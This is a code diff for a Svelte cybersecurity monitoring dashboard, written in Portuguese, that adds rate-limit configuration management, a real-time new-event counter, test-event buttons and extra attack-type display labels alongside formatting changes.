Feat cibersecurity #27
@@ -1,26 +1,29 @@
|
|||||||
<script lang="ts">
|
<script lang="ts">
|
||||||
import { browser } from '$app/environment';
|
import { browser } from '$app/environment';
|
||||||
import { useQuery, useConvexClient } from 'convex-svelte';
|
import { useQuery, useConvexClient } from 'convex-svelte';
|
||||||
import type { FunctionReturnType } from 'convex/server';
|
|
||||||
import type { Id } from '@sgse-app/backend/convex/_generated/dataModel';
|
import type { Id } from '@sgse-app/backend/convex/_generated/dataModel';
|
||||||
import { api } from '@sgse-app/backend/convex/_generated/api';
|
import { api } from '@sgse-app/backend/convex/_generated/api';
|
||||||
import type { AtaqueCiberneticoTipo, SeveridadeSeguranca } from '@sgse-app/backend/convex/schema';
|
import type { AtaqueCiberneticoTipo, SeveridadeSeguranca } from '@sgse-app/backend/convex/schema';
|
||||||
import { authStore } from '$lib/stores/auth.svelte';
|
import { authStore } from '$lib/stores/auth.svelte';
|
||||||
|
|
||||||
type SerieCamada = FunctionReturnType<typeof api.security.obterVisaoCamadas>['series'][number];
|
|
||||||
type VisaoCamadas = FunctionReturnType<typeof api.security.obterVisaoCamadas>;
|
|
||||||
type EventosSeguranca = FunctionReturnType<typeof api.security.listarEventosSeguranca>;
|
|
||||||
type ReputacoesData = FunctionReturnType<typeof api.security.listarReputacoes>;
|
|
||||||
type RegrasPortaData = FunctionReturnType<typeof api.security.listarRegrasPorta>;
|
|
||||||
|
|
||||||
const client = useConvexClient();
|
const client = useConvexClient();
|
||||||
|
|
||||||
const visaoCamadas = useQuery(api.security.obterVisaoCamadas, { periodoHoras: 6, buckets: 28 });
|
const visaoCamadas = useQuery(api.security.obterVisaoCamadas, { periodoHoras: 6, buckets: 28 });
|
||||||
const eventos = useQuery(api.security.listarEventosSeguranca, { limit: 120 });
|
const eventos = useQuery(api.security.listarEventosSeguranca, { limit: 120 });
|
||||||
const reputacoes = useQuery(api.security.listarReputacoes, { limit: 60, lista: 'blacklist' });
|
const reputacoes = useQuery(api.security.listarReputacoes, { limit: 60, lista: 'blacklist' });
|
||||||
const regrasPorta = useQuery(api.security.listarRegrasPorta, {});
|
const regrasPorta = useQuery(api.security.listarRegrasPorta, {});
|
||||||
|
const configsRateLimit = useQuery(api.security.listarConfigsRateLimit, {
|
||||||
|
ativo: true,
|
||||||
|
limit: 50
|
||||||
|
});
|
||||||
|
const meuPerfil = useQuery(api.usuarios.obterPerfil, {});
|
||||||
|
|
||||||
const severidadesDisponiveis: SeveridadeSeguranca[] = ['informativo', 'baixo', 'moderado', 'alto', 'critico'];
|
const severidadesDisponiveis: SeveridadeSeguranca[] = [
|
||||||
|
'informativo',
|
||||||
|
'baixo',
|
||||||
|
'moderado',
|
||||||
|
'alto',
|
||||||
|
'critico'
|
||||||
|
];
|
||||||
|
|
||||||
const severityLabels: Record<SeveridadeSeguranca, string> = {
|
const severityLabels: Record<SeveridadeSeguranca, string> = {
|
||||||
informativo: 'Informativo',
|
informativo: 'Informativo',
|
||||||
@@ -46,6 +49,10 @@
|
|||||||
credential_stuffing: 'Credential Stuffing',
|
credential_stuffing: 'Credential Stuffing',
|
||||||
sql_injection: 'SQL Injection',
|
sql_injection: 'SQL Injection',
|
||||||
xss: 'XSS',
|
xss: 'XSS',
|
||||||
|
path_traversal: 'Path Traversal',
|
||||||
|
command_injection: 'Command Injection',
|
||||||
|
nosql_injection: 'NoSQL Injection',
|
||||||
|
xxe: 'XXE',
|
||||||
man_in_the_middle: 'MITM',
|
man_in_the_middle: 'MITM',
|
||||||
ddos: 'DDoS',
|
ddos: 'DDoS',
|
||||||
engenharia_social: 'Engenharia Social',
|
engenharia_social: 'Engenharia Social',
|
||||||
@@ -70,15 +77,18 @@
|
|||||||
detectado: 'badge badge-outline border-info/60 text-info',
|
detectado: 'badge badge-outline border-info/60 text-info',
|
||||||
investigando: 'badge badge-secondary',
|
investigando: 'badge badge-secondary',
|
||||||
contido: 'badge badge-success',
|
contido: 'badge badge-success',
|
||||||
'falso_positivo': 'badge badge-ghost',
|
falso_positivo: 'badge badge-ghost',
|
||||||
escalado: 'badge badge-error animate-pulse',
|
escalado: 'badge badge-error animate-pulse',
|
||||||
resolvido: 'badge badge-neutral'
|
resolvido: 'badge badge-neutral'
|
||||||
};
|
};
|
||||||
|
|
||||||
let filtroSeveridades = $state<SeveridadeSeguranca[]>(['critico', 'alto']);
|
let filtroSeveridades = $state<SeveridadeSeguranca[]>([]); // Vazio = mostrar todos
|
||||||
let filtroTipos = $state<AtaqueCiberneticoTipo[]>([]);
|
let filtroTipos = $state<AtaqueCiberneticoTipo[]>([]);
|
||||||
let alertaSonoroAtivo = $state(true);
|
let alertaSonoroAtivo = $state(true);
|
||||||
let alertaVisualAtivo = $state(true);
|
let alertaVisualAtivo = $state(true);
|
||||||
|
// Contagem de novos eventos detectados em tempo real (sem recarregar)
|
||||||
|
let novosEventos = $state(0);
|
||||||
|
let ultimoTotalEventos: number | null = null;
|
||||||
let ipManual = $state('');
|
let ipManual = $state('');
|
||||||
let comentarioManual = $state('');
|
let comentarioManual = $state('');
|
||||||
let porta = $state(443);
|
let porta = $state(443);
|
||||||
@@ -95,6 +105,22 @@
|
|||||||
let ultimaReferenciaCritica: Id<'securityEvents'> | null = null;
|
let ultimaReferenciaCritica: Id<'securityEvents'> | null = null;
|
||||||
let audioCtx: AudioContext | null = null;
|
let audioCtx: AudioContext | null = null;
|
||||||
|
|
||||||
|
// Rate Limiting
|
||||||
|
let mostrarRateLimitConfig = $state(false);
|
||||||
|
let rateLimitNome = $state('');
|
||||||
|
let rateLimitTipo = $state<'ip' | 'usuario' | 'endpoint' | 'global'>('ip');
|
||||||
|
let rateLimitIdentificador = $state('');
|
||||||
|
let rateLimitLimite = $state(100);
|
||||||
|
let rateLimitJanelaSegundos = $state(60);
|
||||||
|
let rateLimitEstrategia = $state<'fixed_window' | 'sliding_window' | 'token_bucket'>(
|
||||||
|
'fixed_window'
|
||||||
|
);
|
||||||
|
let rateLimitAcaoExcedido = $state<'bloquear' | 'throttle' | 'alertar'>('bloquear');
|
||||||
|
let rateLimitBloqueioTemporarioSegundos = $state<number | undefined>(undefined);
|
||||||
|
let rateLimitPrioridade = $state(0);
|
||||||
|
let rateLimitNotas = $state('');
|
||||||
|
let rateLimitEditando = $state<Id<'rateLimitConfig'> | null>(null);
|
||||||
|
|
||||||
const series = $derived.by(() => visaoCamadas?.data?.series ?? []);
|
const series = $derived.by(() => visaoCamadas?.data?.series ?? []);
|
||||||
const totais = $derived.by(() => visaoCamadas?.data?.totais ?? null);
|
const totais = $derived.by(() => visaoCamadas?.data?.totais ?? null);
|
||||||
const eventosFiltrados = $derived.by(() => {
|
const eventosFiltrados = $derived.by(() => {
|
||||||
@@ -114,7 +140,31 @@ const eventosFiltrados = $derived.by(() => {
|
|||||||
const ipCriticos = $derived.by(() => (reputacoes?.data ?? []).slice(0, 10));
|
const ipCriticos = $derived.by(() => (reputacoes?.data ?? []).slice(0, 10));
|
||||||
const regras = $derived.by(() => regrasPorta?.data ?? []);
|
const regras = $derived.by(() => regrasPorta?.data ?? []);
|
||||||
|
|
||||||
const eventoCriticoAtual = $derived.by(() => (eventos?.data ?? []).find((evento) => evento.severidade === 'critico') ?? null);
|
const eventoCriticoAtual = $derived.by(
|
||||||
|
() => (eventos?.data ?? []).find((evento) => evento.severidade === 'critico') ?? null
|
||||||
|
);
|
||||||
|
|
||||||
|
// Efeito: observar chegada de novos eventos e acionar toast/contador
|
||||||
|
$effect(() => {
|
||||||
|
const atual = (eventos?.data ?? []).length;
|
||||||
|
if (ultimoTotalEventos === null) {
|
||||||
|
ultimoTotalEventos = atual;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (atual > ultimoTotalEventos) {
|
||||||
|
const delta = atual - ultimoTotalEventos;
|
||||||
|
novosEventos += delta;
|
||||||
|
feedback = {
|
||||||
|
tipo: 'success',
|
||||||
|
mensagem: `🔔 ${delta} novo(s) evento(s) de segurança detectado(s) em tempo real`
|
||||||
|
};
|
||||||
|
// Opcional: destacar visualmente
|
||||||
|
if (alertaVisualAtivo) {
|
||||||
|
// classe CSS já existente de alertas visuais; aqui mantemos apenas o toast
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ultimoTotalEventos = atual;
|
||||||
|
});
|
||||||
|
|
||||||
function maxSeriesValue(dataset: Array<Array<number>>): number {
|
function maxSeriesValue(dataset: Array<Array<number>>): number {
|
||||||
let max = 1;
|
let max = 1;
|
||||||
@@ -126,7 +176,12 @@ const eventoCriticoAtual = $derived.by(() => (eventos?.data ?? []).find((evento)
|
|||||||
return max;
|
return max;
|
||||||
}
|
}
|
||||||
|
|
||||||
function construirLayer(valores: number[], largura: number, altura: number, maxValor: number): string {
|
function construirLayer(
|
||||||
|
valores: number[],
|
||||||
|
largura: number,
|
||||||
|
altura: number,
|
||||||
|
maxValor: number
|
||||||
|
): string {
|
||||||
if (!valores.length) {
|
if (!valores.length) {
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
@@ -205,13 +260,24 @@ const chartPaths = $derived.by(() => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function obterUsuarioId(): Id<'usuarios'> {
|
function obterUsuarioId(): Id<'usuarios'> {
|
||||||
if (!authStore.usuario?._id) {
|
// Prioridade: usar query do Convex (mais confiável) > authStore
|
||||||
throw new Error('Usuário não autenticado.');
|
// Se a query retornou dados, usar o ID do Convex
|
||||||
|
if (meuPerfil?.data?._id) {
|
||||||
|
return meuPerfil.data._id;
|
||||||
}
|
}
|
||||||
|
// Se a query ainda está carregando (undefined) ou retornou null, tentar authStore
|
||||||
|
if (authStore.autenticado && authStore.usuario?._id) {
|
||||||
return authStore.usuario._id as Id<'usuarios'>;
|
return authStore.usuario._id as Id<'usuarios'>;
|
||||||
}
|
}
|
||||||
|
// Se nenhum dos dois funcionou, lançar erro
|
||||||
|
throw new Error('Usuário não autenticado. Por favor, faça login no sistema.');
|
||||||
|
}
|
||||||
|
|
||||||
async function aplicarMedidaIp(acaoSelecionada: 'forcar_blacklist' | 'remover_blacklist', ipAlvo: string, eventoId?: Id<'securityEvents'>) {
|
async function aplicarMedidaIp(
|
||||||
|
acaoSelecionada: 'forcar_blacklist' | 'remover_blacklist',
|
||||||
|
ipAlvo: string,
|
||||||
|
eventoId?: Id<'securityEvents'>
|
||||||
|
) {
|
||||||
if (!ipAlvo) {
|
if (!ipAlvo) {
|
||||||
feedback = { tipo: 'error', mensagem: 'Informe o IP alvo.' };
|
feedback = { tipo: 'error', mensagem: 'Informe o IP alvo.' };
|
||||||
return;
|
return;
|
||||||
@@ -268,7 +334,10 @@ const chartPaths = $derived.by(() => {
|
|||||||
tags: ['cibersecurity', acao],
|
tags: ['cibersecurity', acao],
|
||||||
listaReferencia: undefined
|
listaReferencia: undefined
|
||||||
});
|
});
|
||||||
feedback = { tipo: 'success', mensagem: `Regra para porta ${porta}/${protocolo.toUpperCase()} registrada.` };
|
feedback = {
|
||||||
|
tipo: 'success',
|
||||||
|
mensagem: `Regra para porta ${porta}/${protocolo.toUpperCase()} registrada.`
|
||||||
|
};
|
||||||
} catch (erro: unknown) {
|
} catch (erro: unknown) {
|
||||||
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
||||||
}
|
}
|
||||||
@@ -304,6 +373,111 @@ const chartPaths = $derived.by(() => {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function resetarFormRateLimit() {
|
||||||
|
rateLimitNome = '';
|
||||||
|
rateLimitTipo = 'ip';
|
||||||
|
rateLimitIdentificador = '';
|
||||||
|
rateLimitLimite = 100;
|
||||||
|
rateLimitJanelaSegundos = 60;
|
||||||
|
rateLimitEstrategia = 'fixed_window';
|
||||||
|
rateLimitAcaoExcedido = 'bloquear';
|
||||||
|
rateLimitBloqueioTemporarioSegundos = undefined;
|
||||||
|
rateLimitPrioridade = 0;
|
||||||
|
rateLimitNotas = '';
|
||||||
|
rateLimitEditando = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function editarConfigRateLimit(configId: Id<'rateLimitConfig'>) {
|
||||||
|
const config = configsRateLimit?.data?.find((c) => c._id === configId);
|
||||||
|
if (!config) return;
|
||||||
|
|
||||||
|
rateLimitNome = config.nome;
|
||||||
|
rateLimitTipo = config.tipo;
|
||||||
|
rateLimitIdentificador = config.identificador ?? '';
|
||||||
|
rateLimitLimite = config.limite;
|
||||||
|
rateLimitJanelaSegundos = config.janelaSegundos;
|
||||||
|
rateLimitEstrategia = config.estrategia;
|
||||||
|
rateLimitAcaoExcedido = config.acaoExcedido;
|
||||||
|
rateLimitBloqueioTemporarioSegundos = config.bloqueioTemporarioSegundos;
|
||||||
|
rateLimitPrioridade = config.prioridade;
|
||||||
|
rateLimitNotas = config.notas ?? '';
|
||||||
|
rateLimitEditando = configId;
|
||||||
|
mostrarRateLimitConfig = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function salvarConfigRateLimit(e: SubmitEvent) {
|
||||||
|
e.preventDefault();
|
||||||
|
try {
|
||||||
|
if (rateLimitEditando) {
|
||||||
|
await client.mutation(api.security.atualizarConfigRateLimit, {
|
||||||
|
configId: rateLimitEditando,
|
||||||
|
usuarioId: obterUsuarioId(),
|
||||||
|
nome: rateLimitNome,
|
||||||
|
limite: rateLimitLimite,
|
||||||
|
janelaSegundos: rateLimitJanelaSegundos,
|
||||||
|
estrategia: rateLimitEstrategia,
|
||||||
|
acaoExcedido: rateLimitAcaoExcedido,
|
||||||
|
bloqueioTemporarioSegundos: rateLimitBloqueioTemporarioSegundos,
|
||||||
|
prioridade: rateLimitPrioridade,
|
||||||
|
notas: rateLimitNotas || undefined
|
||||||
|
});
|
||||||
|
feedback = {
|
||||||
|
tipo: 'success',
|
||||||
|
mensagem: 'Configuração de rate limit atualizada com sucesso.'
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
await client.mutation(api.security.criarConfigRateLimit, {
|
||||||
|
usuarioId: obterUsuarioId(),
|
||||||
|
nome: rateLimitNome,
|
||||||
|
tipo: rateLimitTipo,
|
||||||
|
identificador:
|
||||||
|
rateLimitTipo === 'global' ? undefined : rateLimitIdentificador || undefined,
|
||||||
|
limite: rateLimitLimite,
|
||||||
|
janelaSegundos: rateLimitJanelaSegundos,
|
||||||
|
estrategia: rateLimitEstrategia,
|
||||||
|
acaoExcedido: rateLimitAcaoExcedido,
|
||||||
|
bloqueioTemporarioSegundos: rateLimitBloqueioTemporarioSegundos,
|
||||||
|
prioridade: rateLimitPrioridade,
|
||||||
|
notas: rateLimitNotas || undefined
|
||||||
|
});
|
||||||
|
feedback = { tipo: 'success', mensagem: 'Configuração de rate limit criada com sucesso.' };
|
||||||
|
}
|
||||||
|
resetarFormRateLimit();
|
||||||
|
mostrarRateLimitConfig = false;
|
||||||
|
} catch (erro: unknown) {
|
||||||
|
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deletarConfigRateLimit(configId: Id<'rateLimitConfig'>) {
|
||||||
|
if (!confirm('Tem certeza que deseja deletar esta configuração de rate limit?')) return;
|
||||||
|
try {
|
||||||
|
await client.mutation(api.security.deletarConfigRateLimit, {
|
||||||
|
configId,
|
||||||
|
usuarioId: obterUsuarioId()
|
||||||
|
});
|
||||||
|
feedback = { tipo: 'success', mensagem: 'Configuração de rate limit deletada com sucesso.' };
|
||||||
|
} catch (erro: unknown) {
|
||||||
|
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function toggleAtivoRateLimit(configId: Id<'rateLimitConfig'>, ativo: boolean) {
|
||||||
|
try {
|
||||||
|
await client.mutation(api.security.atualizarConfigRateLimit, {
|
||||||
|
configId,
|
||||||
|
usuarioId: obterUsuarioId(),
|
||||||
|
ativo: !ativo
|
||||||
|
});
|
||||||
|
feedback = {
|
||||||
|
tipo: 'success',
|
||||||
|
mensagem: `Configuração ${!ativo ? 'ativada' : 'desativada'} com sucesso.`
|
||||||
|
};
|
||||||
|
} catch (erro: unknown) {
|
||||||
|
feedback = { tipo: 'error', mensagem: mensagemErro(erro) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function classeEventoCritico(severidade: SeveridadeSeguranca): string {
|
function classeEventoCritico(severidade: SeveridadeSeguranca): string {
|
||||||
if (!alertaVisualAtivo) return '';
|
if (!alertaVisualAtivo) return '';
|
||||||
return severidade === 'critico' ? 'ring-2 ring-error animate-pulse' : '';
|
return severidade === 'critico' ? 'ring-2 ring-error animate-pulse' : '';
|
||||||
@@ -323,27 +497,29 @@ const chartPaths = $derived.by(() => {
|
|||||||
<div>
|
<div>
|
||||||
<span>{feedback.mensagem}</span>
|
<span>{feedback.mensagem}</span>
|
||||||
</div>
|
</div>
|
||||||
<button type="button" class="btn btn-sm btn-ghost" onclick={() => (feedback = null)}>Fechar</button>
|
<button type="button" class="btn btn-sm btn-ghost" onclick={() => (feedback = null)}
|
||||||
|
>Fechar</button
|
||||||
|
>
|
||||||
</div>
|
</div>
|
||||||
{/if}
|
{/if}
|
||||||
|
|
||||||
<section class="grid gap-4 lg:grid-cols-4 md:grid-cols-2">
|
<section class="grid gap-4 md:grid-cols-2 lg:grid-cols-4">
|
||||||
<div class="stat bg-base-100 rounded-2xl border border-primary/20 shadow-xl">
|
<div class="stat bg-base-100 border-primary/20 rounded-2xl border shadow-xl">
|
||||||
<div class="stat-title text-primary font-semibold">Eventos monitorados</div>
|
<div class="stat-title text-primary font-semibold">Eventos monitorados</div>
|
||||||
<div class="stat-value text-primary text-4xl">{totais?.eventos ?? 0}</div>
|
<div class="stat-value text-primary text-4xl">{totais?.eventos ?? 0}</div>
|
||||||
<div class="stat-desc">Últimas 6h</div>
|
<div class="stat-desc">Últimas 6h</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="stat bg-base-100 rounded-2xl border border-error/20 shadow-xl">
|
<div class="stat bg-base-100 border-error/20 rounded-2xl border shadow-xl">
|
||||||
<div class="stat-title text-error font-semibold">Críticos</div>
|
<div class="stat-title text-error font-semibold">Críticos</div>
|
||||||
<div class="stat-value text-error text-4xl">{totais?.criticos ?? 0}</div>
|
<div class="stat-value text-error text-4xl">{totais?.criticos ?? 0}</div>
|
||||||
<div class="stat-desc">Escalonados imediatamente</div>
|
<div class="stat-desc">Escalonados imediatamente</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="stat bg-base-100 rounded-2xl border border-warning/20 shadow-xl">
|
<div class="stat bg-base-100 border-warning/20 rounded-2xl border shadow-xl">
|
||||||
<div class="stat-title text-warning font-semibold">Bloqueios ativos</div>
|
<div class="stat-title text-warning font-semibold">Bloqueios ativos</div>
|
||||||
<div class="stat-value text-warning text-4xl">{totais?.bloqueiosAtivos ?? 0}</div>
|
<div class="stat-value text-warning text-4xl">{totais?.bloqueiosAtivos ?? 0}</div>
|
||||||
<div class="stat-desc">IPs e domínios isolados</div>
|
<div class="stat-desc">IPs e domínios isolados</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="stat bg-base-100 rounded-2xl border border-success/20 shadow-xl">
|
<div class="stat bg-base-100 border-success/20 rounded-2xl border shadow-xl">
|
||||||
<div class="stat-title text-success font-semibold">Sensores ativos</div>
|
<div class="stat-title text-success font-semibold">Sensores ativos</div>
|
||||||
<div class="stat-value text-success text-4xl">{totais?.sensoresAtivos ?? 0}</div>
|
<div class="stat-value text-success text-4xl">{totais?.sensoresAtivos ?? 0}</div>
|
||||||
<div class="stat-desc">Edge, OT e honeypots</div>
|
<div class="stat-desc">Edge, OT e honeypots</div>
|
||||||
@@ -351,10 +527,10 @@ const chartPaths = $derived.by(() => {
|
|||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section class="grid gap-6 lg:grid-cols-3">
|
<section class="grid gap-6 lg:grid-cols-3">
|
||||||
<div class="rounded-3xl border border-primary/20 bg-base-100/80 p-6 shadow-2xl lg:col-span-2">
|
<div class="border-primary/20 bg-base-100/80 rounded-3xl border p-6 shadow-2xl lg:col-span-2">
|
||||||
<div class="flex flex-wrap items-center justify-between gap-3">
|
<div class="flex flex-wrap items-center justify-between gap-3">
|
||||||
<div>
|
<div>
|
||||||
<h2 class="text-2xl font-bold text-primary">Layerchart Threat Matrix</h2>
|
<h2 class="text-primary text-2xl font-bold">Layerchart Threat Matrix</h2>
|
||||||
<p class="text-base-content/70 text-sm">
|
<p class="text-base-content/70 text-sm">
|
||||||
Correlação temporal entre DDoS, SQLi, ataques avançados e bloqueios automáticos.
|
Correlação temporal entre DDoS, SQLi, ataques avançados e bloqueios automáticos.
|
||||||
</p>
|
</p>
|
||||||
@@ -366,12 +542,16 @@ const chartPaths = $derived.by(() => {
|
|||||||
</label>
|
</label>
|
||||||
<label class="label cursor-pointer gap-2">
|
<label class="label cursor-pointer gap-2">
|
||||||
<span class="label-text">Flash Visual</span>
|
<span class="label-text">Flash Visual</span>
|
||||||
<input type="checkbox" class="toggle toggle-secondary" bind:checked={alertaVisualAtivo} />
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
class="toggle toggle-secondary"
|
||||||
|
bind:checked={alertaVisualAtivo}
|
||||||
|
/>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="mt-4 overflow-x-auto rounded-2xl bg-base-200/40 p-4">
|
<div class="bg-base-200/40 mt-4 overflow-x-auto rounded-2xl p-4">
|
||||||
<svg viewBox="0 0 880 220" class="w-full">
|
<svg viewBox="0 0 880 220" class="w-full">
|
||||||
<defs>
|
<defs>
|
||||||
<linearGradient id="grad-ddos" x1="0%" y1="0%" x2="0%" y2="100%">
|
<linearGradient id="grad-ddos" x1="0%" y1="0%" x2="0%" y2="100%">
|
||||||
@@ -387,25 +567,40 @@ const chartPaths = $derived.by(() => {
|
|||||||
<stop offset="100%" stop-color="rgba(236, 72, 153, 0.1)" />
|
<stop offset="100%" stop-color="rgba(236, 72, 153, 0.1)" />
|
||||||
</linearGradient>
|
</linearGradient>
|
||||||
</defs>
|
</defs>
|
||||||
<path d={chartPaths.avancados} fill="url(#grad-adv)" stroke="rgba(236, 72, 153, 0.6)" stroke-width="2" />
|
<path
|
||||||
<path d={chartPaths.sql} fill="url(#grad-sql)" stroke="rgba(59, 130, 246, 0.6)" stroke-width="2" />
|
d={chartPaths.avancados}
|
||||||
<path d={chartPaths.ddos} fill="url(#grad-ddos)" stroke="rgba(248, 113, 113, 0.8)" stroke-width="2" />
|
fill="url(#grad-adv)"
|
||||||
|
stroke="rgba(236, 72, 153, 0.6)"
|
||||||
|
stroke-width="2"
|
||||||
|
/>
|
||||||
|
<path
|
||||||
|
d={chartPaths.sql}
|
||||||
|
fill="url(#grad-sql)"
|
||||||
|
stroke="rgba(59, 130, 246, 0.6)"
|
||||||
|
stroke-width="2"
|
||||||
|
/>
|
||||||
|
<path
|
||||||
|
d={chartPaths.ddos}
|
||||||
|
fill="url(#grad-ddos)"
|
||||||
|
stroke="rgba(248, 113, 113, 0.8)"
|
||||||
|
stroke-width="2"
|
||||||
|
/>
|
||||||
</svg>
|
</svg>
|
||||||
<div class="mt-4 flex flex-wrap gap-3 text-sm font-semibold">
|
<div class="mt-4 flex flex-wrap gap-3 text-sm font-semibold">
|
||||||
<span class="badge badge-error gap-2">
|
<span class="badge badge-error gap-2">
|
||||||
<span class="h-2 w-2 rounded-full bg-error"></span>DDoS
|
<span class="bg-error h-2 w-2 rounded-full"></span>DDoS
|
||||||
</span>
|
</span>
|
||||||
<span class="badge badge-info gap-2">
|
<span class="badge badge-info gap-2">
|
||||||
<span class="h-2 w-2 rounded-full bg-info"></span>SQL Injection
|
<span class="bg-info h-2 w-2 rounded-full"></span>SQL Injection
|
||||||
</span>
|
</span>
|
||||||
<span class="badge badge-secondary gap-2">
|
<span class="badge badge-secondary gap-2">
|
||||||
<span class="h-2 w-2 rounded-full bg-secondary"></span>ATA Advanced
|
<span class="bg-secondary h-2 w-2 rounded-full"></span>ATA Advanced
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="mt-6 flex flex-wrap gap-2">
|
<div class="mt-6 flex flex-wrap gap-2">
|
||||||
{#each severidadesDisponiveis as severidade}
|
{#each severidadesDisponiveis as severidade (severidade)}
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
class={`btn btn-xs ${filtroSeveridades.includes(severidade) ? 'btn-primary' : 'btn-outline btn-primary'}`}
|
class={`btn btn-xs ${filtroSeveridades.includes(severidade) ? 'btn-primary' : 'btn-outline btn-primary'}`}
|
||||||
@@ -417,7 +612,7 @@ const chartPaths = $derived.by(() => {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="rounded-3xl border border-secondary/20 bg-base-100/80 p-6 shadow-2xl">
|
<div class="border-secondary/20 bg-base-100/80 rounded-3xl border p-6 shadow-2xl">
|
||||||
<h3 class="text-secondary text-xl font-bold">Ações rápidas</h3>
|
<h3 class="text-secondary text-xl font-bold">Ações rápidas</h3>
|
||||||
<form
|
<form
|
||||||
class="mt-4 space-y-3"
|
class="mt-4 space-y-3"
|
||||||
@@ -467,7 +662,13 @@ const chartPaths = $derived.by(() => {
|
|||||||
<div class="label">
|
<div class="label">
|
||||||
<span class="label-text">Porta</span>
|
<span class="label-text">Porta</span>
|
||||||
</div>
|
</div>
|
||||||
<input type="number" class="input input-bordered" min="1" max="65535" bind:value={porta} />
|
<input
|
||||||
|
type="number"
|
||||||
|
class="input input-bordered"
|
||||||
|
min="1"
|
||||||
|
max="65535"
|
||||||
|
bind:value={porta}
|
||||||
|
/>
|
||||||
</label>
|
</label>
|
||||||
<label class="form-control">
|
<label class="form-control">
|
||||||
<div class="label">
|
<div class="label">
|
||||||
@@ -512,7 +713,7 @@ const chartPaths = $derived.by(() => {
|
|||||||
<span class="label-text">Severidade mínima</span>
|
<span class="label-text">Severidade mínima</span>
|
||||||
</div>
|
</div>
|
||||||
<select class="select select-bordered" bind:value={severidadeMin}>
|
<select class="select select-bordered" bind:value={severidadeMin}>
|
||||||
{#each severidadesDisponiveis as severidade}
|
{#each severidadesDisponiveis as severidade (severidade)}
|
||||||
<option value={severidade}>{severityLabels[severidade]}</option>
|
<option value={severidade}>{severityLabels[severidade]}</option>
|
||||||
{/each}
|
{/each}
|
||||||
</select>
|
</select>
|
||||||
@@ -523,11 +724,63 @@ const chartPaths = $derived.by(() => {
|
|||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section class="grid gap-6 lg:grid-cols-3">
|
<section class="grid gap-6 lg:grid-cols-3">
|
||||||
<div class="rounded-3xl border border-base-300 bg-base-100 p-6 shadow-2xl lg:col-span-2">
|
<div class="border-base-300 bg-base-100 rounded-3xl border p-6 shadow-2xl lg:col-span-2">
|
||||||
<div class="flex flex-wrap items-center justify-between gap-3">
|
<div class="flex flex-wrap items-center justify-between gap-3">
|
||||||
<h3 class="text-2xl font-semibold text-base-content">Feed de eventos e ameaças</h3>
|
<h3 class="text-base-content text-2xl font-semibold">Feed de eventos e ameaças</h3>
|
||||||
<div class="flex flex-wrap gap-2">
|
<div class="flex flex-wrap gap-2">
|
||||||
{#each Object.entries(attackLabels).slice(0, 8) as [tipo, label]}
|
{#if novosEventos > 0}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-primary"
|
||||||
|
title="Novos eventos detectados"
|
||||||
|
onclick={() => (novosEventos = 0)}
|
||||||
|
>
|
||||||
|
🔔 Novos: <span class="ml-1 font-bold">{novosEventos}</span>
|
||||||
|
</button>
|
||||||
|
{/if}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-warning"
|
||||||
|
onclick={async () => {
|
||||||
|
try {
|
||||||
|
const resultado = await client.mutation(api.security.criarEventosTeste, { quantidade: 10 });
|
||||||
|
feedback = {
|
||||||
|
tipo: 'success',
|
||||||
|
mensagem: `✅ ${resultado.eventosCriados} eventos de teste criados com sucesso!`
|
||||||
|
};
|
||||||
|
} catch (error) {
|
||||||
|
feedback = {
|
||||||
|
tipo: 'error',
|
||||||
|
mensagem: `❌ Erro ao criar eventos de teste: ${error}`
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
🧪 Criar Eventos Teste
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="btn btn-xs btn-outline"
|
||||||
|
onclick={async () => {
|
||||||
|
try {
|
||||||
|
const resultado = await client.mutation(api.security.limparEventosTeste, {});
|
||||||
|
feedback = {
|
||||||
|
tipo: 'success',
|
||||||
|
mensagem: `🧹 ${resultado.removidos} eventos de teste removidos`
|
||||||
|
};
|
||||||
|
novosEventos = 0;
|
||||||
|
ultimoTotalEventos = (eventos?.data ?? []).length - (resultado.removidos ?? 0);
|
||||||
|
} catch (error) {
|
||||||
|
feedback = {
|
||||||
|
tipo: 'error',
|
||||||
|
mensagem: `❌ Erro ao limpar eventos de teste: ${error}`
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
🧹 Limpar Eventos Teste
|
||||||
|
</button>
|
||||||
|
{#each Object.entries(attackLabels).slice(0, 8) as [tipo, label] (tipo)}
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
class={`btn btn-xs ${filtroTipos.includes(tipo as AtaqueCiberneticoTipo) ? 'btn-accent' : 'btn-outline btn-accent'}`}
|
